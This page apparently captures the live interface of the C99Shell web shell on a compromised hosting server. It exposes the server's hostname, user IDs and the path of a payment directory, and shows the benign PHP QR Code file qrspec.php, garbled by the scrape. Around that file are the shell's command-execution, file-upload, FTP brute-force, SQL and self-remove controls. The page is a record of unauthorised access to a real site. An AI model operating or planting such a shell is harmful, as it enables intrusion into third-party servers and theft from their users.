!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/php/phpqrcode/   drwxr-xr-x
Free 182.67 GB of 490.84 GB (37.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     qrspec.php (25.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * PHP QR Code encoder
 *
 * QR Code specifications
 *
 * Based on libqrencode C library distributed under LGPL 2.1
 * Copyright (C) 2006, 2007, 2008, 2009 Kentaro Fukuchi <fukuchi@megaui.net>
 *
 * PHP QR Code is distributed under LGPL 3
 * Copyright (C) 2010 Dominik Dzienia <deltalab at poczta dot fm>
 *
 * The following data / specifications are taken from
 * "Two dimensional symbol -- QR-code -- Basic Specification" (JIS X0510:2004)
 *  or
 * "Automatic identification and data capture techniques -- 
 *  QR Code 2005 bar code symbology specification" (ISO/IEC 18004:2006)
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
 */
 
    
define('QRSPEC_VERSION_MAX'40);
    
define('QRSPEC_WIDTH_MAX',   177);

    
define('QRCAP_WIDTH',        0);
    
define('QRCAP_WORDS',        1);
    
define('QRCAP_REMINDER',     2);
    
define('QRCAP_EC',           3);

    class 
QRspec {
    
        public static 
$capacity = array(
            array(  
0,    00, array(   0,    0,    0,    0)),
            array( 
21,   260, array(   7,   10,   13,   17)), // 1
            
array( 25,   447, array(  10,   16,   22,   28)),
            array( 
29,   707, array(  15,   26,   36,   44)),
            array( 
33,  1007, array(  20,   36,   52,   64)),
            array( 
37,  1347, array(  26,   48,   72,   88)), // 5
            
array( 41,  1727, array(  36,   64,   96,  112)),
            array( 
45,  1960, array(  40,   72,  108,  130)),
            array( 
49,  2420, array(  48,   88,  132,  156)),
            array( 
53,  2920, array(  60,  110,  160,  192)),
            array( 
57,  3460, array(  72,  130,  192,  224)), //10
            
array( 61,  4040, array(  80,  150,  224,  264)),
            array( 
65,  4660, array(  96,  176,  260,  308)),
            array( 
69,  5320, array( 104,  198,  288,  352)),
            array( 
73,  5813, array( 120,  216,  320,  384)),
            array( 
77,  6553, array( 132,  240,  360,  432)), //15
            
array( 81,  7333, array( 144,  280,  408,  480)),
            array( 
85,  8153, array( 168,  308,  448,  532)),
            array( 
89,  9013, array( 180,  338,  504,  588)),
            array( 
93,  9913, array( 196,  364,  546,  650)),
            array( 
9710853, array( 224,  416,  600,  700)), //20
            
array(10111564, array( 224,  442,  644,  750)),
            array(
10512584, array( 252,  476,  690,  816)),
            array(
10913644, array( 270,  504,  750,  900)),
            array(
11314744, array( 300,  560,  810,  960)),
            array(
11715884, array( 312,  588,  8701050)), //25
            
array(12117064, array( 336,  644,  9521110)),
            array(
12518284, array( 360,  70010201200)),
            array(
12919213, array( 390,  72810501260)),
            array(
13320513, array( 420,  78411401350)),
            array(
13721853, array( 450,  81212001440)), //30
            
array(14123233, array( 480,  86812901530)),
            array(
14524653, array( 510,  92413501620)),
            array(
14926113, array( 540,  98014401710)),
            array(
15327613, array( 570103615301800)),
            array(
15728760, array( 570106415901890)), //35
            
array(16130340, array( 600112016801980)),
            array(
16531960, array( 630120417702100)),
            array(
16933620, array( 660126018602220)),
            array(
17335320, array( 720131619502310)),
            array(
17737060, array( 750137220402430)) //40
        
);
        
        
//----------------------------------------------------------------------
        
public static function getDataLength($version$level)
        {
            return 
self::$capacity[$version][QRCAP_WORDS] - self::$capacity[$version][QRCAP_EC][$level];
        }
        
        
//----------------------------------------------------------------------
        
public static function getECCLength($version$level)
        {
            return 
self::$capacity[$version][QRCAP_EC][$level];
        }
        
        
//----------------------------------------------------------------------
        
public static function getWidth($version)
        {
            return 
self::$capacity[$version][QRCAP_WIDTH];
        }
        
        
//----------------------------------------------------------------------
        
public static function getRemainder($version)
        {
            return 
self::$capacity[$version][QRCAP_REMINDER];
        }
        
        
//----------------------------------------------------------------------
        
public static function getMinimumVersion($size$level)
        {

            for(
$i=1$i<= QRSPEC_VERSION_MAX$i++) {
                
$words  self::$capacity[$i][QRCAP_WORDS] - self::$capacity[$i][QRCAP_EC][$level];
                if(
$words >= $size
                    return 
$i;
            }

            return -
1;
        }
    
        
//######################################################################
        
        
public static $lengthTableBits = array(
            array(
101214),
            array( 
91113),
            array( 
81616),
            array( 
81012)
        );
        
        
//----------------------------------------------------------------------
        
public static function lengthIndicator($mode$version)
        {
            if (
$mode == QR_MODE_STRUCTURE)
                return 
0;
                
            if (
$version <= 9) {
                
$l 0;
            } else if (
$version <= 26) {
                
$l 1;
            } else {
                
$l 2;
            }

            return 
self::$lengthTableBits[$mode][$l];
        }
        
        
//----------------------------------------------------------------------
        
public static function maximumWords($mode$version)
        {
            if(
$mode == QR_MODE_STRUCTURE
                return 
3;
                
            if(
$version <= 9) {
                
$l 0;
            } else if(
$version <= 26) {
                
$l 1;
            } else {
                
$l 2;
            }

            
$bits self::$lengthTableBits[$mode][$l];
            
$words = (<< $bits) - 1;
            
            if(
$mode == QR_MODE_KANJI) {
                
$words *= 2// the number of bytes is required
            
}

            return 
$words;
        }

        
// Error correction code -----------------------------------------------
        // Table of the error correction code (Reed-Solomon block)
        // See Table 12-16 (pp.30-36), JIS X0510:2004.

        
public static $eccTable = array(
            array(array( 
0,  0), array( 0,  0), array( 0,  0), array( 0,  0)),
            array(array( 
1,  0), array( 1,  0), array( 1,  0), array( 1,  0)), // 1
            
array(array( 1,  0), array( 1,  0), array( 1,  0), array( 1,  0)),
            array(array( 
1,  0), array( 1,  0), array( 2,  0), array( 2,  0)),
            array(array( 
1,  0), array( 2,  0), array( 2,  0), array( 4,  0)),
            array(array( 
1,  0), array( 2,  0), array( 2,  2), array( 2,  2)), // 5
            
array(array( 2,  0), array( 4,  0), array( 4,  0), array( 4,  0)),
            array(array( 
2,  0), array( 4,  0), array( 2,  4), array( 4,  1)),
            array(array( 
2,  0), array( 2,  2), array( 4,  2), array( 4,  2)),
            array(array( 
2,  0), array( 3,  2), array( 4,  4), array( 4,  4)),
            array(array( 
2,  2), array( 4,  1), array( 6,  2), array( 6,  2)), //10
            
array(array( 4,  0), array( 1,  4), array( 4,  4), array( 3,  8)),
            array(array( 
2,  2), array( 6,  2), array( 4,  6), array( 7,  4)),
            array(array( 
4,  0), array( 8,  1), array( 8,  4), array(12,  4)),
            array(array( 
3,  1), array( 4,  5), array(11,  5), array(11,  5)),
            array(array( 
5,  1), array( 5,  5), array( 5,  7), array(11,  7)), //15
            
array(array( 5,  1), array( 7,  3), array(15,  2), array( 313)),
            array(array( 
1,  5), array(10,  1), array( 115), array( 217)),
            array(array( 
5,  1), array( 9,  4), array(17,  1), array( 219)),
            array(array( 
3,  4), array( 311), array(17,  4), array( 916)),
            array(array( 
3,  5), array( 313), array(15,  5), array(1510)), //20
            
array(array( 4,  4), array(17,  0), array(17,  6), array(19,  6)),
            array(array( 
2,  7), array(17,  0), array( 716), array(34,  0)),
            array(array( 
4,  5), array( 414), array(1114), array(1614)),
            array(array( 
6,  4), array( 614), array(1116), array(30,  2)),
            array(array( 
8,  4), array( 813), array( 722), array(2213)), //25
            
array(array(10,  2), array(19,  4), array(28,  6), array(33,  4)),
            array(array( 
8,  4), array(22,  3), array( 826), array(1228)),
            array(array( 
310), array( 323), array( 431), array(1131)),
            array(array( 
7,  7), array(21,  7), array( 137), array(1926)),
            array(array( 
510), array(1910), array(1525), array(2325)), //30
            
array(array(13,  3), array( 229), array(42,  1), array(2328)),
            array(array(
17,  0), array(1023), array(1035), array(1935)),
            array(array(
17,  1), array(1421), array(2919), array(1146)),
            array(array(
13,  6), array(1423), array(44,  7), array(59,  1)),
            array(array(
12,  7), array(1226), array(3914), array(2241)), //35
            
array(array( 614), array( 634), array(4610), array( 264)),
            array(array(
17,  4), array(2914), array(4910), array(2446)),
            array(array( 
418), array(1332), array(4814), array(4232)),
            array(array(
20,  4), array(40,  7), array(4322), array(1067)),
            array(array(
19,  6), array(1831), array(3434), array(2061)),//40
        
);                                                                       

        
//----------------------------------------------------------------------
        // CACHEABLE!!!
        
        
public static function getEccSpec($version$level, array &$spec)
        {
            if (
count($spec) < 5) {
                
$spec = array(0,0,0,0,0);
            }

            
$b1   self::$eccTable[$version][$level][0];
            
$b2   self::$eccTable[$version][$level][1];
            
$data self::getDataLength($version$level);
            
$ecc  self::getECCLength($version$level);

            if(
$b2 == 0) {
                
$spec[0] = $b1;
                
$spec[1] = (int)($data $b1);
                
$spec[2] = (int)($ecc $b1);
                
$spec[3] = 0
                
$spec[4] = 0;
            } else {
                
$spec[0] = $b1;
                
$spec[1] = (int)($data / ($b1 $b2));
                
$spec[2] = (int)($ecc  / ($b1 $b2));
                
$spec[3] = $b2;
                
$spec[4] = $spec[1] + 1;
            }
        }

        
// Alignment pattern ---------------------------------------------------

        // Positions of alignment patterns.
        // This array includes only the second and the third position of the 
        // alignment patterns. Rest of them can be calculated from the distance 
        // between them.
         
        // See Table 1 in Appendix E (pp.71) of JIS X0510:2004.
         
        
public static $alignmentPattern = array(      
            array( 
0,  0),
            array( 
0,  0), array(18,  0), array(22,  0), array(26,  0), array(30,  0), // 1- 5
            
array(34,  0), array(2238), array(2442), array(2646), array(2850), // 6-10
            
array(3054), array(3258), array(3462), array(2646), array(2648), //11-15
            
array(2650), array(3054), array(3056), array(3058), array(3462), //16-20
            
array(2850), array(2650), array(3054), array(2854), array(3258), //21-25
            
array(3058), array(3462), array(2650), array(3054), array(2652), //26-30
            
array(3056), array(3460), array(3058), array(3462), array(3054), //31-35
            
array(2450), array(2854), array(3258), array(2654), array(3058), //35-40
        
);                                                                                  

        
        
/** --------------------------------------------------------------------
         * Put an alignment marker.
         * @param frame
         * @param width
         * @param ox,oy center coordinate of the pattern
         */
        
public static function putAlignmentMarker(array &$frame$ox$oy)
        {
            
$finder = array(
                
"\xa1\xa1\xa1\xa1\xa1",
                
"\xa1\xa0\xa0\xa0\xa1",
                
"\xa1\xa0\xa1\xa0\xa1",
                
"\xa1\xa0\xa0\xa0\xa1",
                
"\xa1\xa1\xa1\xa1\xa1"
            
);                        
            
            
$yStart $oy-2;         
            
$xStart $ox-2;
            
            for(
$y=0$y<5$y++) {
                
QRstr::set($frame$xStart$yStart+$y$finder[$y]);
            }
        }

        
//----------------------------------------------------------------------
        
public static function putAlignmentPattern($version, &$frame$width)
        {
            if(
$version 2)
                return;

            
$d self::$alignmentPattern[$version][1] - self::$alignmentPattern[$version][0];
            if(
$d 0) {
                
$w 2;
            } else {
                
$w = (int)(($width self::$alignmentPattern[$version][0]) / $d 2);
            }

            if(
$w $w == 1) {
                
$x self::$alignmentPattern[$version][0];
                
$y self::$alignmentPattern[$version][0];
                
self::putAlignmentMarker($frame$x$y);
                return;
            }

            
$cx self::$alignmentPattern[$version][0];
            for(
$x=1$x<$w 1$x++) {
                
self::putAlignmentMarker($frame6$cx);
                
self::putAlignmentMarker($frame$cx,  6);
                
$cx += $d;
            }

            
$cy self::$alignmentPattern[$version][0];
            for(
$y=0$y<$w-1$y++) {
                
$cx self::$alignmentPattern[$version][0];
                for(
$x=0$x<$w-1$x++) {
                    
self::putAlignmentMarker($frame$cx$cy);
                    
$cx += $d;
                }
                
$cy += $d;
            }
        }

        
// Version information pattern -----------------------------------------

        // Version information pattern (BCH coded).
        // See Table 1 in Appendix D (pp.68) of JIS X0510:2004.
        
        // size: [QRSPEC_VERSION_MAX - 6]
        
        
public static $versionPattern = array(
            
0x07c940x085bc0x09a990x0a4d30x0bbf60x0c7620x0d8470x0e60d,
            
0x0f9280x10b780x1145d0x12a170x135320x149a60x156830x168c9,
            
0x177ec0x18ec40x191e10x1afab0x1b08e0x1cc1a0x1d33f0x1ed75,
            
0x1f2500x209d50x216f00x228ba0x2379f0x24b0b0x2542e0x26a64,
            
0x275410x28c69
        
);

        
//----------------------------------------------------------------------
        
public static function getVersionPattern($version)
        {
            if(
$version || $version QRSPEC_VERSION_MAX)
                return 
0;

            return 
self::$versionPattern[$version -7];
        }

        
// Format information --------------------------------------------------
        // See calcFormatInfo in tests/test_qrspec.c (orginal qrencode c lib)
        
        
public static $formatInfo = array(
            array(
0x77c40x72f30x7daa0x789d0x662f0x63180x6c410x6976),
            array(
0x54120x51250x5e7c0x5b4b0x45f90x40ce0x4f970x4aa0),
            array(
0x355f0x30680x3f310x3a060x24b40x21830x2eda0x2bed),
            array(
0x16890x13be0x1ce70x19d00x07620x02550x0d0c0x083b)
        );

        public static function 
getFormatInfo($mask$level)
        {
            if(
$mask || $mask 7)
                return 
0;
                
            if(
$level || $level 3)
                return 
0;                

            return 
self::$formatInfo[$level][$mask];
        }

        
// Frame ---------------------------------------------------------------
        // Cache of initial frames.
         
        
public static $frames = array();

        
/** --------------------------------------------------------------------
         * Put a finder pattern.
         * @param frame
         * @param width
         * @param ox,oy upper-left coordinate of the pattern
         */
        
public static function putFinderPattern(&$frame$ox$oy)
        {
            
$finder = array(
                
"\xc1\xc1\xc1\xc1\xc1\xc1\xc1",
                
"\xc1\xc0\xc0\xc0\xc0\xc0\xc1",
                
"\xc1\xc0\xc1\xc1\xc1\xc0\xc1",
                
"\xc1\xc0\xc1\xc1\xc1\xc0\xc1",
                
"\xc1\xc0\xc1\xc1\xc1\xc0\xc1",
                
"\xc1\xc0\xc0\xc0\xc0\xc0\xc1",
                
"\xc1\xc1\xc1\xc1\xc1\xc1\xc1"
            
);                            
            
            for(
$y=0$y<7$y++) {
                
QRstr::set($frame$ox$oy+$y$finder[$y]);
            }
        }

        
//----------------------------------------------------------------------
        
public static function createFrame($version)
        {
            
$width self::$capacity[$version][QRCAP_WIDTH];
            
$frameLine str_repeat ("\0"$width);
            
$frame array_fill(0$width$frameLine);

            
// Finder pattern
            
self::putFinderPattern($frame00);
            
self::putFinderPattern($frame$width 70);
            
self::putFinderPattern($frame0$width 7);
            
            
// Separator
            
$yOffset $width 7;
            
            for(
$y=0$y<7$y++) {
                
$frame[$y][7] = "\xc0";
                
$frame[$y][$width 8] = "\xc0";
                
$frame[$yOffset][7] = "\xc0";
                
$yOffset++;
            }
            
            
$setPattern str_repeat("\xc0"8);
            
            
QRstr::set($frame07$setPattern);
            
QRstr::set($frame$width-87$setPattern);
            
QRstr::set($frame0$width 8$setPattern);
        
            
// Format info
            
$setPattern str_repeat("\x84"9);
            
QRstr::set($frame08$setPattern);
            
QRstr::set($frame$width 88$setPattern8);
            
            
$yOffset $width 8;

            for(
$y=0$y<8$y++,$yOffset++) {
                
$frame[$y][8] = "\x84";
                
$frame[$yOffset][8] = "\x84";
            }

            
// Timing pattern  
            
            
for($i=1$i<$width-15$i++) {
                
$frame[6][7+$i] = chr(0x90 | ($i 1));
                
$frame[7+$i][6] = chr(0x90 | ($i 1));
            }
            
            
// Alignment pattern  
            
self::putAlignmentPattern($version$frame$width);
            
            
// Version information 
            
if($version >= 7) {
                
$vinf self::getVersionPattern($version);

                
$v $vinf;
                
                for(
$x=0$x<6$x++) {
                    for(
$y=0$y<3$y++) {
                        
$frame[($width 11)+$y][$x] = chr(0x88 | ($v 1));
                        
$v $v >> 1;
                    }
                }

                
$v $vinf;
                for(
$y=0$y<6$y++) {
                    for(
$x=0$x<3$x++) {
                        
$frame[$y][$x+($width 11)] = chr(0x88 | ($v 1));
                        
$v $v >> 1;
                    }
                }
            }
    
            
// and a little bit...  
            
$frame[$width 8][8] = "\x81";
            
            return 
$frame;
        }

        
//----------------------------------------------------------------------
        
public static function debug($frame$binary_mode false)
        {
            if (
$binary_mode) {
            
                    foreach (
$frame as &$frameLine) {
                        
$frameLine join('<span class="m">&nbsp;&nbsp;</span>'explode('0'$frameLine));
                        
$frameLine join('&#9608;&#9608;'explode('1'$frameLine));
                    }
                    
                    
?>
                <style>
                    .m { background-color: white; }
                </style>
                <?php
                    
echo '<pre><tt><br/ ><br/ ><br/ >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
                    echo 
join("<br/ >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"$frame);
                    echo 
'</tt></pre><br/ ><br/ ><br/ ><br/ ><br/ ><br/ >';
            
            } else {
            
                foreach (
$frame as &$frameLine) {
                    
$frameLine join('<span class="m">&nbsp;</span>',  explode("\xc0"$frameLine));
                    
$frameLine join('<span class="m">&#9618;</span>'explode("\xc1"$frameLine));
                    
$frameLine join('<span class="p">&nbsp;</span>',  explode("\xa0"$frameLine));
                    
$frameLine join('<span class="p">&#9618;</span>'explode("\xa1"$frameLine));
                    
$frameLine join('<span class="s">&#9671;</span>'explode("\x84"$frameLine)); //format 0
                    
$frameLine join('<span class="s">&#9670;</span>'explode("\x85"$frameLine)); //format 1
                    
$frameLine join('<span class="x">&#9762;</span>'explode("\x81"$frameLine)); //special bit
                    
$frameLine join('<span class="c">&nbsp;</span>',  explode("\x90"$frameLine)); //clock 0
                    
$frameLine join('<span class="c">&#9719;</span>'explode("\x91"$frameLine)); //clock 1
                    
$frameLine join('<span class="f">&nbsp;</span>',  explode("\x88"$frameLine)); //version
                    
$frameLine join('<span class="f">&#9618;</span>'explode("\x89"$frameLine)); //version
                    
$frameLine join('&#9830;'explode("\x01"$frameLine));
                    
$frameLine join('&#8901;'explode("\0"$frameLine));
                }
                
                
?>
                <style>
                    .p { background-color: yellow; }
                    .m { background-color: #00FF00; }
                    .s { background-color: #FF0000; }
                    .c { background-color: aqua; }
                    .x { background-color: pink; }
                    .f { background-color: gold; }
                </style>
                <?php
                
echo "<pre><tt>";
                echo 
join("<br/ >"$frame);
                echo 
"</tt></pre>";
            
            }
        }

        
//----------------------------------------------------------------------
        
public static function serial($frame)
        {
            return 
gzcompress(join("\n"$frame), 9);
        }
        
        
//----------------------------------------------------------------------
        
public static function unserial($code)
        {
            return 
explode("\n"gzuncompress($code));
        }
        
        
//----------------------------------------------------------------------
        
public static function newFrame($version)
        {
            if(
$version || $version QRSPEC_VERSION_MAX
                return 
null;

            if(!isset(
self::$frames[$version])) {
                
                
$fileName QR_CACHE_DIR.'frame_'.$version.'.dat';
                
                if (
QR_CACHEABLE) {
                    if (
file_exists($fileName)) {
                        
self::$frames[$version] = self::unserial(file_get_contents($fileName));
                    } else {
                        
self::$frames[$version] = self::createFrame($version);
                        
file_put_contents($fileNameself::serial(self::$frames[$version]));
                    }
                } else {
                    
self::$frames[$version] = self::createFrame($version);
                }
            }
            
            if(
is_null(self::$frames[$version]))
                return 
null;

            return 
self::$frames[$version];
        }

        
//----------------------------------------------------------------------
        
public static function rsBlockNum($spec)     { return $spec[0] + $spec[3]; }
        public static function 
rsBlockNum1($spec)    { return $spec[0]; }
        public static function 
rsDataCodes1($spec)   { return $spec[1]; }
        public static function 
rsEccCodes1($spec)    { return $spec[2]; }
        public static function 
rsBlockNum2($spec)    { return $spec[3]; }
        public static function 
rsDataCodes2($spec)   { return $spec[4]; }
        public static function 
rsEccCodes2($spec)    { return $spec[2]; }
        public static function 
rsDataLength($spec)   { return ($spec[0] * $spec[1]) + ($spec[3] * $spec[4]);    }
        public static function 
rsEccLength($spec)    { return ($spec[0] + $spec[3]) * $spec[2]; }
        
    }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0082 ]--